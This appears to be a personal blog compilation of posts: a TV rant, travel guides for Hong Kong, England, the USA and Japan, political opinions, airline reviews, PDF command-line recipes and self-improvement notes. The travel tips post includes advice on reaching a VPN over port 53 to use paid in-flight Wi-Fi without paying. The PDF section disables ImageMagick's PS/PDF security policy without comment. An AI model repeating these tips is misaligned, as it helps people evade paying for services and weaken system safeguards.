Worse, TV channels speed up TV shows and movies. What for? Ads again. The French do it, and the Americans as well. As a result, movies are shortened and constantly interrupted by commercials.

US

France

Still unconvinced? Most companies operating radio and television are biased. By "most" I mean 99% of them. They are not objective at all, often influenced by political parties.

I could also add, without going too much into detail, that:

We are constantly being told lies (commercials for cigarettes, Chernobyl radioactive clouds over Europe, etc.)
Most shows are incredibly shitty and for dump people: Supernanny, stupid games for uneducated people
News channels are to be avoided like the plague: only live and breaking news never verified, no sources, Man on the street interviews are useless, irelevant and misleading. Likewise, these channels focus way too much on terrorism, immigrants, financial crises, and so on.
Dubbed movies. Seriously? Would you listen to foreign music translated in you native language? Sound is 80% of a movie. Not to mention that most dubs sound terrible.
The same can be said about coverages: why dub a foreigner? Why not just add subtitles?

Now that you know the truth, help me boycott television. Even though a few shows are worth your time, you can watch them online after their broadcast for free. This article, written in French, sums up quite well my thoughts regarding television.

Social Media Are Not Worth Your Time

2017-01-11T19:00:00+01:00

2018 Facebook Cambridge Analytica data scandal

Hong-Kong

2017-01-10T15:48:00+01:00

The above is a video from my trip in Hong-Kong, in 2016. We stayed at Oi Suen Guesthouse, located at 83 Argyle Street (8th Floor).

Things to know before going there

They drive on the left, because it is a British colony.
Just like most countries in East Asia, they have convenience stores everywhere. Most of them are open 24/7.
For transportation, buy an Octopus card. It is refundable (a charge will be applied though). You can also use it in many shops as a payment method.
There is free Wi-Fi at subway stations.
Most people speak good English.

Things to do

Victoria Peak (known as The Peak) offers an incredible view of the city. You can either take a bus or a taxi to get there. The latter option is not so expensive if the cost is split between several people. Pro tip: go there right before sunset to enjoy the view during daytime and at night. Do not forget to go to the highest point for a few dollars.
A market, like Ladies Market.
Tian Tan Buddha (aka the Big Buddha). Get there by taking the Ngong Ping 360 (an aerial tramway).
Star Ferry Pier at Tsim Sha Tsui (view over Hong Kong's bay). If you can afford it, go for a harbour cruise and attend the Symphony of Lights show at 8pm (price: 200 HKD).

England

2017-01-10T01:01:00+01:00

England is so much more than just England. This article sums up my past trips and my advice about what to do or see there.

London

London is to England what Paris is to France, plus the shittier weather minus all the monuments. It's a brilliant mix of new and old buildings, pop culture and traditions. All in all, here is my advice on what to do in London:

London Eye
Big Ben
Buckingham Palace (go see Changing the Guard)
Tower Bridge
The British Museum (it's free!)
The Shard
30 St Mary Axe
The Walkie-Talkie (aka 20 Fenchurch Street) and most specifically the Sky Garden: check out the opening hours cause walk-in guest access is restricted. Booking in advance is advised (it's free!).
Camden Town (cool district!)
Tate Modern (awesome modern art gallery)
Harrods (luxury department store)
Platform 9 3/4 and the Harry Potter shop, at King's Cross
Tower of London (aka Her Majesty's Royal Palace and Fortress of the Tower of London): the Jewel House is truly amazing!

Advice for first-time visitors

No need to tag off when getting off buses unless you want to get charged twice
Sometimes, buying an Oyster card is more expensive than a 1-day travelcard (around 12 pounds if my memory serves well). It's a paper ticket that allows you to ride buses, tram and the tube within the London travel zones, anytime after 9:30am Mondays to Fridays and all day on weekends.

Manchester

A beautiful small city, with a lot of industrial legacy. A couple of interesting stuff to do:

Beetham Tower
Check the pubs out, some of them have live bands playing at night, pretty much like in Ireland
Museum of Science and Industry

Liverpool

Land of soccer and the Beatles. Great city with plenty of activities. Quite close to Manchester. I remember going to at least two of these three places:

Merseyside Maritime Museum
The Beatles Story
Tate Liverpool

You should definitely check these places out!

The one time I went to Liverpool, I had the chance to attend a soccer match, Liverpool v Everton. What a great experience! The atmosphere was unique, everybody was cheering and acclaiming and drinking!

Bristol

Not too much to do there but yet quite a nice town, very typical. If you're just passing through, make sure to stop at the Clifton Suspension Bridge, an impresive highly suspended bridge! If you're afraid of heights, pass on that on.

That's it for now!

The USA

2017-01-10T01:00:00+01:00

Update: this article was updated in 2018 and 2024, following recent trips to the USA.

In 2016, I went to the US for the first time of my life. Here is a list of things I did and tips I gathered.

In short, I went to NYC for a week. Then I flew to Los Angeles, where I joined my friends. The following days we went to:

Santa Barbara (State Street is amazing).
Baker, CA, Kelso, CA and finally Kingman (slept in a motel).
The next day we discovered Kingman and then went to Williams (slept at The Historic Hat Ranch).
The next day we did a trail (Bright Angels) next to Tusayan, in the Grand Canyon. We went sleeping at a campground in Monument Valley (Goulding's Campground, if my memory serves well)
The next morning we rode horses in the Monument Valley Navajo Tribal Park (exact GPS coordinates: 36.934405, -110.070929). The afternoon was spent at Antelope Canyon. We slept near Page.
The next day we did the Horse Shoe Bend and swam in the Lake Powell. At night we slept in a hostel at Kanab.
The next day some of us went to Bryce Canyon. I went to Las Vegas.
The rest of the trip was spent in: Death Valley, Yosemite (for some of us) and San Francisco.

Now let's move on to my advice.

To know before getting there

At a red traffic light, you can legally turn right if no car is coming from the left side, unless there's a sign saying "No right turn on red".
There are many passes for American national parks which are great deals. If you plan to visit many parks, you definitely want to check them out before buying any individual ticket.
Same for most cities: CityPASS
In Arizona, it is legal to camp in any national forest, in dedicated areas, for free
If you rent a car, any additional driver must come and be physically present with their driving licence the day you're getting the car, otherwise the employee won't add them as an authorized driver.

Things to do in NYC

Manhattanhenge. Find the right spot, for the best picture. Happens only twice a year.

CityPass is a must for most travellers, it gives access to 6 major places, with incredible value.

Edit 2024: they updated their offers. There are now 3 different bundles, with increasing prices: 3 attractions (C3 - $104), 5 attractions (CityPASS - $146), or 10 (C·All $229).

I've been to NYC a couple of times. Here is a list of activities I did there (or did not but I would have loved to do).

During daytime

The following fews places are doable in a single day, in the following optimized order:

Little Italy, Chinatown and Soho: you can go for a free tour or do it by yourself. These neighborhoods are very close to one another, you can visit them in 2 hours.
Washington Square Park
Flat Iron & Madison Square (there are cute squirrels) & the video portal to Dublin
Empire State Building (up to the 86th floor)
Grand central: the train station
Rockefeller Center (late afternoon/early evening, to enjoy the sunset)

The rest is more time-consuming:

Statue of Liberty and Ellis Island: take the ferry, there are tours which include both locations for $18 (if my memory serves well). Dedicate half a day to that. The line to the boat from Battery Park can take up to an hour and a half. If you book it early enough (at least 3 months), you can also visit the crown of the statue.
Charging Bull, in Wall Street: I recommend you do it after coming back from Ellis Island, in the evening. It's less crowded.
Edge, Hudson Yards
The MoMA (Museum of Modern Art): at least 3 hours, the best floors are the 4th and the 5th
The MET (Metropolitan Museum of Art)
Central park (don't miss out the Balto statue)
The American Museum of Natural History
The 9/11 Memorial Museum (it can take up to 3-4 hours, and at the very least 2 hours):
First, go down to the lowest floor, then make a left and head towards to room under the North Tower: it's the best part of the museum. It easily takes an hour, maybe an hour and a half to go through it.
Then, do the rest of the museum.
Don't forget about the 11-min film called "Rebirth", under the South Tower.
Coney Island
St. Mark's Place, in East Village
In Brooklyn: Williamsburg and Dumbo

The following places offer a great view at any time of the day. If you want to enjoy them as much as you can, my advice is to get there at around 7pm and stay for about 2 hours. This way you'll get the view at night also.

Times Square: don't forget to say hi to the Naked Cowboy
The Brooklyn Bridge, the Brooklyn Heights Promenade and the piers below
Dumbo - Manhattan Bridge View
One World Trade Center
Check out the Bean Sculpture a few blocks away
The High Line (careful, it closes at 10pm)

At night

Broadway (the district referred to as, not the street): many theaters along Broadway Street and Times Square. Go watch a musical if you can!
Greenwich Village: it was the center of the folk music scene in the early 1960s. MacDougal Street was the Main Street of Greenwich Village. The most popular folksingers played in clubs on MacDougal.

Going to and from airports

LaGuardia

The LaGuardia Link Q70 bus line is fare free. Otherwise, they are other paid buses one can ride.

EWR - Newark Liberty International Airport

This one is tricky, there are many many options. Here are two, the most convenient + fastest one, and the cheapest one (from my experience!):

Convenient+fast: in 30 mins and for a little less than $20 and a single ticket, go to/leave from New York Penn Station and arrive directly at the aiport by riding the NJ TRANSIT train to Newark Liberty International Airport Station, then switch to AirTrain (using the same ticket), that will take you to your terminal.
Cheapest: in just under 60 minutes, go to/leave from New York Penn Station riding the NJ TRANSIT train to Newark Penn Station ($6), then get on the bus 62 (less than $2) to your terminal.

Paying for public transport in NYC

You can basically buy a MetroCard, pay directly with your phone/credit card by tapping it, or get OMNI. All 3 options are essentially the same, with subtle differences worth knowing if you want to save a few dollars:

My best advice remains: ride a Citibike!! (it's not cheap though 😂 - $19 per Day Pass)

Things to do in Philadelphia

Good to know: street parking there is pretty cheap, about $2.5 to $3 per hour.

Museum of Art
Rocky steps and Rocky statue
Washington Square
Liberty Bell
Independance Hall
Chinatown
Reading Terminal Market

Things to do in Washington

Arlington National Cemetery: JFK Gravesite and the Tomb of the Unknown Soldier

Then, drive towards downtown, park somewhere cheap, and rent public bikes (Capital BikeShare)! It's only $8 per day, with unlimited 30-min rides.

Albert Einstein Memorial
Vietnam Veterans Memorial
Lincoln Memorial
Korean War Veterans Memorial
Thomas Jefferson Memorial
Franklin Delano Roosevelt Memorial (quite big!)
Martin Luther King, Jr. Memorial
D.C. War Memorial
Lincoln Memorial Reflecting Pool
World War II Memorial
Washington Monument
The Capitol
The White House
Lafayette Square

If you're staying more than a day, then maybe you could visit the Pentagon.

Things to do in Atlanta

The Beltine is a must-see!
Martin Luther King, Jr. National Historical Park
The King Center
Dr. Martin Luther King Jr. Tomb
King Jr Martin Luther- Birth Home
Jackson Street Bridge (famous scene from The Walking Dead)

We were told that the CNN studios tours are fun, as well as the Coca Cola factory. Also, Piedmont Park.

Outside of Atlanta, drive an hour south and go to Senoia, a filming location of The Walking Dead, featuring the Waking Dead Cafe, an official shop and Chris Twellmann's amazing shop! Thistown was used to film Woodburry and Alexandria.

Things to do in Orlando or nearby

An amusement park. However, be aware that DisneyWorld Magic Kingdom is stricly identical to Disneyland Paris, except for its price. Twice as expensive as its French counterpart.
3 Sister Springs
Wekiwa Springs
Cocoa Beach

Things to do in Miami

Check the Go Miami Card out, it might be worth buying one. It's more or less like a CityPass.

The Keys: allocate a full day if you plan to going to the southernmost island.
A air boat ride in the Everglades. We went with Gator Park. It's very cheap, about $20 per person, but we only got to see one alligator in the wild. Apparently, April to September is the nesting season so very few are out there, visible.
South Beach
Downtown, Hard Rock Café

Tips for Las Vegas

Old city center
The Strip, of course
You can drink any kind of beverage in casinos as long as you are playing (even if gambling only $1). Of course tipping is highly recommended.
Watch Las Vegas in 24 hours
Really funny slot machines:
Bamboo Panda in the Mirage Hotel
Aladin and the Magic Lamp at Casino Royale
Encore Beach Club is a nice place to go to
Omnia, in Caesar's palace, is a great nightclub
Same for XS Las Vegas
Looking for a good Airbnb host? Mine was great. Here's the address: 605 S Royal Crest Cir UNIT 20, Las Vegas, NV 89169

Places to see in Los Angeles

The Hollywood sign and Hollywood boulevard
The Perch (a rooftop bar)
Homer Laughlin Building
Santa Monica Pier
The Observatory (so much to see inside the building, plus the view of course)

Places to see in the Grand Canyon

Havasupai
Horseshoe bend
Antelope canyon (the Lower tour is supposedly better than the Upper): try to go around noon for optimal lighting.

Nice places to stay in Arizona

Hat Ranch: a Airbnb ranch in Williams
Travelodge in Kingman

San Francisco

Need some last minute gear? There you go!
Best bar EVER: Madrone Art Bar
Alcatraz
Mr Tipple: nice jazz bar, drinks are a bit expensive though
Golden Gate Park: do the Japanese garden and botanical garden, both are awesome
Golden Gate Bridge, of course
Castro
Chinatown
Japantown
Ride a cable car and visit for free the Cable Car Museum
Union square: check out the Love Sign at Grand Hyatt
Twin Peaks
Haight street
Lombard Street
Mission Dolores Park
Baker Beach
Martuni's: amazing piano bar
Isotope, on Fell Street: best comic shop of San Francisco. James, the owner, is a great guy, very friendly and helpful
Painted Ladies
Patricia's Green
Pier 39
Musée Mécanique: great stuff in there, prepare a lots of coins to spend

Other places to see

Death Valley: do the 3-hour horse ride
Sequoia National Park
Muir Woods National Monument
A Six flags park: there are such parks in most states
Mount Rushmore
Go to a drive-in theater, it's definitely worth it

Zion

If you go to Zion Park and happen to be in good shape and fearless, do the crazy Angels Langing trail! Book a full day for it though.

You will find here a more thorough description: https://www.alltrails.com/trail/us/utah/angels-landing-trail

Don't have the time? Too scared? This one looks awesome too!

You might also want to check out other trails.

Yosemite

Do the round-trip trail to Glacier Point: awesome view!!!

Political Notes

2017-01-10T00:50:00+01:00

This is a draft article.

Social liberalism
Fiscal conservatism
Richard Stallman's Political Articles
Richard Stallman's Political Notes
The retirement age should be increased gradually as life expectancy improves. There should not be an upper limit: anyone must be able to keep working as long as they want. However there should be a minimum age.
Gay couples should have the exact same rights as straight couples, especially regarding marriage and adoption. Preventing them from accessing such basic rights is just as stupid as preventing women from voting. Once the norm, it would nowadays sound ridiculous and outrageous.
I am in favor of abortion.
Public institutions and schools should not rely on proprietary software like Microsoft Windows. A GNU/Linux-based distribution should be de-facto installed on every computer. Proprietary software could be used as a last resort when special requirements apply (a specific software program for instance). This way, governments would save millions of euros/dollars (licenses are expensive).
Healthcare should be universal and free. By free, I mean paid for by the government through tax revenue. Not by private companies whatsoever. It's not about how much one values a car, it's about us as human beings.
We should all aim at reducing pollution. Sales of new diesel cars should be forbidden NOW. Then, within the next five to ten years, All non-electric car sales should be banned. Hybrid cars are just a temporary solution. It misses the long-term goal.
The working hours of a week should be negotiable on a 35 to 40-hour base, for a full-time worker.
Basic income has to be taken into consideration seriously and experimented for that global population is climbing at a high pace towards 10B people by 2060 and a great number of jobs will soon by replaced by robots. I am not saying that it is the right way to go. Instead, I truly believe this could be a workable solution. Of course taxation would have to be reformed in order to finance it.
Marijuana (cannabis) consumption should be legal. Both medical and recreational use should be allowed and regulated by heavy taxation. As seen in the Netherlands, consumption in countries where it is legal tends to be lower than countries where it is not. Instead of wasting millions in the fight against it (which has proven to be ineffective), a smaller amount of money should be invested in prevention through media campaigns and events.

Interesting resources

Parti écologiste antispéciste et non-violent, pour la justice économique globale et les droits des humains, des non humains et des écosystèmes.

Airlines

2017-01-05T12:50:00+01:00

This is a draft article about airlines I got to fly with.

Air France

Kind personel! Usually the crew is very welcoming. Great meals.

Aeroflot

They guess when you're thirsty (basically any time I would press the "Fly Attendant Call button"). However, their TV screens are slow as fuck. And yet they have the latest movies available. Sleeping masks (very comfortable by the way) and kind of slippers provided for free (economy class). Meals were good. WiFi is expensive (5 USD for 15 minutes). Meals were good and of different kinds.

Peach

Really cheap but very little service. I flew once with them, for barely two hours, maybe three.

Air India

Good personel. Great meals.

China Airlines

Great company although I don't remember much about the one time I flew with them.

easyJet

Small aircrafts, do not expect anything crazy, it is a low cost company. No meals, no Wi-Fi, no TV screens.

Ryanair

Same as easyJet.

Virgin America

Paid Wi-Fi (can be bypassed using a VPN, though). Drinks are free.

WOW air

Supposedly a low cost company. They charge everything else though, even my normal sized carry-on bagage. What you get for free is a tiny bag, not bigger than a backpack. No meal included (on a 9 hour flight). No Wi-Fi. No TV screens on seats. Even water is paid ($2.99).

One time, we showed up at the airport and the service agent could not find one of our paid hold luggage on our booking: she believed we hadn't paid for one piece, although we had. She had us pay at the desk in order to check in. Several weeks later, it took many emails to and from them to convince them it was an error from her to make us pay. I eventually got refunded.

Norwegian

Pretty much the same as WoW air, although they have TV screens. As far as I remember, you don't get any food or drinks for free. I was lucky enough to get on their first flight to New York City. Nice lighting in the cabin right after landing.

Oh, and they offer free WiFi.

Tui Fly

Nice one. On a 9 hour fly from Miami to Paris we got dinner and breakfast, plus sodas for free. Alcoholic drinks were paid. Seats are equipped with TV screens and fairly recent movies are available. No free or paid Wi-Fi on board. Quite big aircrafts, mine was a Boeing 787, Dreamliner.

Vueling

Low-cost spanish company. No free drinks or meals. When I flew with them, the had shortages of food, not everything on the menu was available. No TV screens. No wifi. Not much room for the legs. A classic low-cost airline, to sum it up.

TAP Air Portugal

The official portuguese airline? Even on short flights (~2 hours), we had a free meal and a beverage. No TV screens on the seats. Not much space for legs.

Joon

Owned by Air France, doomed to merge with Air France some time in 2019. I only flied with them to go to Berlin from Paris and back. Each time, I was served a snack or a sandwich with a drink (with or without alcohol) for free. No TV screens on seats. One time, I was denied boarding because you know, all airlines do overbooking, and that time I was one of the two lucky guys who checked in at the very last minute. Unfortunately, every expected passenger showed up, so no seat for me. They offered a 175 euro voucher + a night at a nearby Ibis hotel + taxi to and from hotel. I took the next morning flight for free of course but still, a pain in the ass...

United

On a 7+ hour flight, they served us two meals, fairly light if I'm honest (and looking at the calories tags! - around 600 to 700 kcal if I recall correctly). One right after taking off, one about an hour before landing. The second was the lightest one. Besides that, friendly staff, I could ask for more food after they were done serving everyone. Decent catalogue of movies to watch. Shitty buggy TV screens. We got a blanket and a travel pillow by default. They did not bother me with my overly big backpack (Decathlon Travel 100, 60 liters) when boarding.

Air Canada

Only flew with them on sub 2 hour flights (NYC -> Montreal, Toronto -> NYC). On one flight, the plane was small (4 seats per row, 2 on each side). It was a Embraer 175. Looked quite outdated. We got a snack (a drink and a cookie). Nice staff. Could not figure out where to plug the earphones lol. They did not bother me with my overly big backpack (Decathlon Travel 100, 60 liters) when boarding. Very big offering of movies (even Apple TV was available).

SWISS (Swiss International Air Lines)

Decent company. One regular carry-on + one small hand luggage included in the economy fare by default, for free. They also will transport ski equipment for free! Food and drinnks are paid, but got one bottle of water and a small chocolate bar for free. Would definitely and happily fly with them again!

Architectures

2017-01-05T11:00:00+01:00

General

Stack Overflow: The Architecture - 2016 Edition

Scalability and distributed systems

Japan

2017-01-04T01:00:00+01:00

The above is a video from my trip there. If you can't play the video, click here.

In late 2016/early 2017, three friends of mine and I went for the first time of our lifes to Japan. In this article, I explain a few things about this fabulous country and I tell our trip.

A few words that you will need

Hello:
- Ohayō gozaimasu: in the morning (pronunciation: oh-hah-yoh goh-za-ee-muss)
- Konnichiwa: basically anytime, or most specifically in the afternoon (pronunciation: kohn-nee-chee-wah)
Thank you: Arigatou gozaimasu, although gozaimasu is optional but more polite (pronunciation: aligato goh-za-ee-muss)

Good to know

They love green tea, you will get some in almost every restaurant.
They drive on the left hand side. So, be careful on escalators, in most cities people will stand on the left hand side and walk up or down on the right hand side (not in Osaka though).
There are few public benches and garbages bins for mysterious reasons (1995 attack or overload of trash, homeless sleeping on benches...?). You will however find convenience stores (called konbinis) at every corner in which there are trash cans that you can use.
Buy a Suica card or Pasmo card for transportation (bus, subway, trains), so convenient! Both will work in most cities (Tokyo, Kyoto, Osaka and Nara all accepted my Suica card). They basically do the same job.
Wishing to buy English books in Tokyo? Go check out Kinokuniya in Shinjuku or Book 1st, both separated from a walkable distance.
Regarding cash withdrawals, ATMs from 7-Eleven do not charge fees.
Most convenience stores are open 24/7 (7-Eleven stores are almost everywhere).
There are cheap lockers inside train stations that you can use to avoid carrying your luggage, when travelling (prices vary between ¥300 and ¥700, depending on the size).

My trip in 2016, city by city

On the first day, we landed at night at Haneda and went straight to our hostel, ARTNSHELTER. The next day we visited Odaiba and saw the Giant Gundam Statue. Then, we took a night bus to Osaka, quite pricey! The next morning, we arrived in Osaka around 7am. We did the whole city in a day: Umeda Sky Building (we could not go up there though because it was not open yet, we were too early), Osaka Castle and an amazing street on which there is a famous tower named Tsūtenkaku, located in Shinsekai. At night, we took a train for Kyoto.

We had booked a comfortable Airbnb, very cheap and well located. We stayed there for 3 days and 4 nights. Here is what we visited in Tokyo during our stay there:

Kinkaku-ji
Kiyomizu-dera
Higashiyama-ku and Shōhō-ji Temple (in the same ward)
Fushimi Inari-taisha (we went to the top, wonderful!)
Arashiyama: Iwatayama Monkey Park and the Bamboo Grove
Sanjūsangen-dō: an astonishing discovery
Kyoto Imperial Palace

Pro tip: during one day, we rented bikes which allowed us to go around more easily for only a few euros (roughly 10€ per person if my memory serves me well).

One evening, we went to a very nice bar, BAR ZAZAVIE (ザザビー). Great atmosphere, a bit expensive though. The one time we went there we were lucky enough to witness a jazz music concert. Address: 67−3 Kitanoshimohakubaichō, 603-8326 Kyōto-fu, Kyōto-shi, Kita-ku. Another evening, we went to a great restaurant called Kushihachi. It has delicious sushis and the staff is friendly. Address: 33-1 Kitanokamihakubaichō, 603-8325 Kyōto-fu, Kyōto-shi, Kita-ku.

Then, we left Kyoto and took a train for Nara. There we did the city in a day: Tōdai-ji, Nara Park, famous for its deer and Kasuga-taisha. At the end of the day, once again we took a night bus, for Tokyo this time.

We spent some of the remaining days in a cosy Airbnb, not too far from the Tokyo Skytree that we did a few days later. Here is a list of some of the places we visited:

Shibuya and its world–renowned crossing, which can be observed from the first floor of the Starbucks. Furthermore, Shibuya has a restaurant we enjoyed many times, Sushi-Nova: sushis served on conveyor belts, automatically; quite cheap (or at least very affordable). GPS coordinates of Sushi-Nova: 35.660140, 139.698121.
Asakusa and the Sensō-ji temple: great area! If you get a chance to find a hotel or a Airbnb room there, go for it! It is very relaxing and quiet.
Ueno Park and its zoo (the zoo was closed though)
Yoyogi Park and Meiji Shrine
Two towers: as I wrote above, the Tokyo Skytree plus the Tokyo Tower (the one that almost looks like the Eiffel Tower)
Tsukiji Fish Market
Shinjuku
Roppongi: Maman (a giant spider sculpture). There's an observation deck at the top of the building next to the sculpture, if you're willing to pay (we weren't).
Akihabara: the video games/manga neighborhood

Eventually, the last day we left Tokyo from Narita airport. The cheapest and most convenient way to reach that airport from downtown is by riding one of THE ACCESS NARITA's buses.

Things I wish I did

Go kart in Tokyo. Note that it requires a driving licence translated in Japanese (it costs a few euros).
The Shinkansen high-speed train
Hiroshima
Get a better view of the Mount Fuji (go closer?)
Witness sumo wrestling

Interesting online resources

Why do Japanese people wear surgical masks? It’s not always for health reasons

Travels: tips and tricks

2016-12-26T23:35:00+01:00

During the last 12 months, I've had the chance to travel quite a lot (The Netherlands, Belgium, UK, US, South Korea, Hong-Kong, Japan). Thanks to these experiences, I have gathered quite a few pieces of advice regarding how to prepare, organization, etc. I'll keep updating this article as I travel.

Before departing

Carry-on: make sure you have a few clothes in the cabin, don't pack everything into the hold luggage.

Make sure you have VLC installed on your Android phone to watch movies and/or TV series. VLC in more convient for that it supports a wider variety of formats and allows one to add subtitles. Also, you should have an offline access to what you intend to watch on your mobile phone or laptop, along with subtitles.

You may want an Internet access. Most airlines will offer Wifi for a few dollars, however if you have a VPN set up somewhere in the world you might be able to access the Internet for free using it. More importantly, even though you decide to pay, you may want to protect your privacy. How so?

It is better to know your VPN's IP, it makes things easier.
OpenVPN is handy, and there's an Android app for that (free!)
The VPN server should be reachable on ports 80, 443, 53 (DNS) or any other random one. Indeed, those are the ports less likely to be blocked. 53 is the preferred if you want to reach your VPN without paying.

Last but not least, take outlet adapters (practically all planes are US outlets compatible). In addition, a USB to AC converter would come very handy, as there are more often USB outlets than AC power plugs. This way you can use a laptop.

Before ending this ending, very few people know that but French citizens can get the taxes they paid back if they miss their flight or if it gets cancelled. Source: Peut-on se faire rembourser les taxes si on rate ou annule son voyage en avion ?

General advice for travelers

Plan two activities per day TOPS, if you want to enjoy them as much as possible and avoid being in a rush all the time
Bringing little gifts from your home country to your Airbnb hosts is always a good idea and will please them
Plan you trip in advance and thoroughly, and make that plan available to everyone in your group so that no one has to worry about anything

Don't get lost

Here are two great Android apps that you can use for free to find routes and points of interests in most cities in the world.

Google Maps, with the "Offline" feature. It allows you to download maps so that you can use them offline (it does not work in a few countries though, those that do not let Google access their maps, such as South Korea). This app is pre-installed on Android devices.
OsmAnd, available on the Google Play Store. It uses OpenStreetMap's data so it is basically available everywhere, thanks to users' contributions. Likewise, it has offline features which provide a great level of details.

Useful link for travelers

My RSS Subscriptions

2016-12-18T23:00:00+01:00

Here is a list of all the websites I subscribed to. Those are very interesting and cover a wide variety of topics. A few of them are in French though.

Bike

Computers

Germany

Humor

How To Modify PDF Files

2016-12-10T00:30:00+01:00

gs is likely already installed.
pdftk can be installed using sudo aptitude install pdftk. pdftk is not recommended because of its old and outdated PDF engine.
pdfjam is part of the LaTeX distribution (sudo aptitude install texlive-full). However, pdfjam is not recommended either because hyperlinks are not preserved.

So my advice is to go with gs.

Other commands exist such as pdfseparate and pdfunite. They are very good but the output files are quite heavy, compared to those obtained using gs.

Convert a PDF to multiple PNGs (one image per page)

convert input.pdf -density 300 -background 'white' -alpha remove output.png

Add a password to a PDF file

pdftk input.pdf output output.pdf userpw <password here>

Reduce size/quality of a PDF file

ps2pdf -dPDFSETTINGS=/ebook input.pdf output.pdf

/ebook can also be replaced with /screen for further reduction.

Extracting pages

# Extracts all pages from 1 to 5
gs -sDEVICE=pdfwrite -dNOPAUSE -dBATCH -dSAFER -dFirstPage=1 -dLastPage=5 -sOutputFile=output.pdf input.pdf

# Extracts all pages from 1 to 2 and 4 to the end
pdftk input.pdf cat 1-2 4-end output output.pdf

# Extract only pages 1, 2, 4 and 5
pdftk input.pdf cat 1 2 4 5 output output.pdf

# Split each page into a file
pdftk input.pdf burst
# OR
file=input.pdf
pages=$(pdfinfo "$file" | grep "Pages" | awk '{print $2}')
echo "Detect $pages in $file";
filename="${file%.*}";
for i in $(seq -w 1 "$pages"); do
    pdftk "$file" cat "$i" output "$filename-$i.pdf";
done;

Editing one page

Use Gimp (import with 300-dpi setting).

Add a watermark to multiple PDF files

mkdir -p out; for f in *.pdf; do convert -density 150 "$f" -pointsize 60 -draw "gravity center fill #FF000080 rotate -20 text 0,12 'Copy for XYZ' " -draw "gravity South fill #FF000080 rotate -20 text 0,12 'Copy for XYZ' " -draw "gravity North fill #FF000080 rotate -20 text 0,12 'Copy for XYZ' "  -quality 80 "out/$f"; done

Merging several PDF files

gs -sDEVICE=pdfwrite -dNOPAUSE -dBATCH -dSAFER -sOutputFile=output.pdf input1.pdf input2.pdf input3.pdf
pdftk input1.pdf input2.pdf input3.pdf cat output output.pdf
pdfjam input1.pdf input2.pdf input3.pdf -o output.pdf

Convert one or several JPG files into a single pdf

First, in /etc/ImageMagick-6/policy.xml, comment out the last 6 lines:

<!-- <policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="PS2" />
<policy domain="coder" rights="none" pattern="PS3" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" /> -->

Then:

convert image1.jpg image2.jpg output.pdf

Set the PDF size to A4 (210 x 297 mm)

Make sure your image has a resolution of 1050x1485 pixels. Then:

convert input.jpg -density 50 -units pixelspercentimeter output.pdf

Or, for a 2100x2970 pixel image:

convert input.jpg -density 100 -units pixelspercentimeter output.pdf

If the image is of a different resolution, use this:

for f in *.jpg; do convert "$f" -density 300 -resize 2480x3508 -background white -gravity center -extent 2480x3508 "${f%.*}_300dpi.pdf"; done
# Or, lower quality and file size
for f in *.jpg; do convert "$f" -density 72 -resize 595x842 -background white -gravity center -extent 595x842 "${f%.*}_72dpi.pdf"; done

Source

Google Independence

2016-12-05T03:00:00+01:00

Fixing My Life

2016-11-05T19:20:00+01:00

I have spent the last few months trying to "fix my life". To put it differently, I tried to identify what was wrong and how I could improve my life in general. Although in good shape and healthy, I wanted to be more energetic. Likewise, I had a few bad habits that I wanted to get rid of. Let's go through them:

Health

Quit smoking: that was definitely the hardest. In total, I'd say it took me several months.
Exercice at least 30mins per day: not always doable. At KAIST, I am fortunate enough to have a gym right next to my dorm.
Eat healthy food in moderate quantities (not too much, not too little): not easily doable at KAIST. Ultimately, I'd like to become a vegetarian.
Stop using electronic devices at least 1 hour before going to sleep: this is important in order to sleep well. Screens are known to prevent you from falling asleep.
Every hour of sitting, stand up for a few minutes: more info.

Culture

Read books (novels) in English: I am reading "Animal Farm" at the time being.
Keep learning English on a regular basis: the book "The Elements of Style" is on my nightstand.
Write in English: that's what I do with this blog.

Lifestyle

Owning as few things as possible. Ideally my whole life would fit in two suitcases.
Anti-consumerism. It is a mindset I adopted a while ago.

Other

Check Twitter two times a day tops: that one is pretty hard, I am still struggling.
Go to bed before 2am: same. At some point in the future, being a morning person?

Furthermore, I also started learning about topics that are not related to my skills whatsoever, such as politics, the environment, green energies, etc. I would recommend these videos as a good starting point:

Before the Flood: Join Leonardo DiCaprio as he explores the topic of climate change, and discovers what must be done today to prevent catastrophic disruption of life on our planet..
Réformons l'élection présidentielle (FR)
Demain: Climate is changing. Instead of showing all the worst that can happen, this documentary focuses on the people suggesting solutions and their actions..

Moreover, I recently found that interesting article which suggests "A 23-Minute Morning Ritual That Will Transform Your Whole Day". I am still working on it... Essentially, it gives 5 things to do in the morning:

Write down three acts of gratitude (2 minutes)
Journal one positive experience you've had during the past 24 hours (2 minutes)
Exercise (15 minutes)
Meditation (2 minutes)
Express kindness through a text or email (2 minutes)

Last but not least, here are my New Year's Resolutions for 2017:

Read more
Play another musical instrument
Learn Dutch and Spanish
Learn how to dance Rock and Roll or salsa or swing.

UPDATE: 2023-10-01

I was just randomly scrolling through past articles on my blog when I stumbled upon this one. I thought this deserved an update, 6 years later! Let's go through all the bullet points I had listed back then and try to see what happened with each.

Quit smoking: I must admit this was kind of a lie. When I wrote this I was in South Korea. I had greatly reduced how much I smoked but I would not say I had completely stopped. I remember smoking a couple of times in nightclubs there. Also, the following year (2017), I started smoking again while in San Francisco. I remember my own deception after so many months without smoking. Anyways. My very last cigarette drag was in July or August 2019. Since then, not a single one. :)
Exercice at least 30mins per day: if my 30-minute times two bike commute and my daily walks in the park nearby count towards it, then I definitely hit that! If not, then I'm very close, and my weekly exercise time is way above 4 hours anyways, thanks to regular long bike rides on the weekend.
Eat healthy food in moderate quantities (not too much, not too little): hell yeah, this has become second nature since a couple of months now. Hopefully it'll stick long time. Back in 2016 I mentioned that I wanted to become vegetarian ultimately... This happened end of 2018 and I am still vegetarian to this day. No reason to change that.
Stop using electronic devices at least 1 hour before going to sleep: that one never worked. On my phone till the very last minute.
Every hour of sitting, stand up for a few minutes: whenever I'm in the office, yeah I totally do that. At home it depends on how focused on some task I am, but I mostly do it.
Read books (novels) in English: huge hiatus from the end of 2019 until 2 months ago, when I started reading Hyperion.
Keep learning English on a regular basis: not at all. I guess my current level is more than enough. On the flipside, I'm considering learning German further and aim for the B2 level (my current level is A2/B1).
Write in English: every single day, at work, texting friends, on this blog, etc.
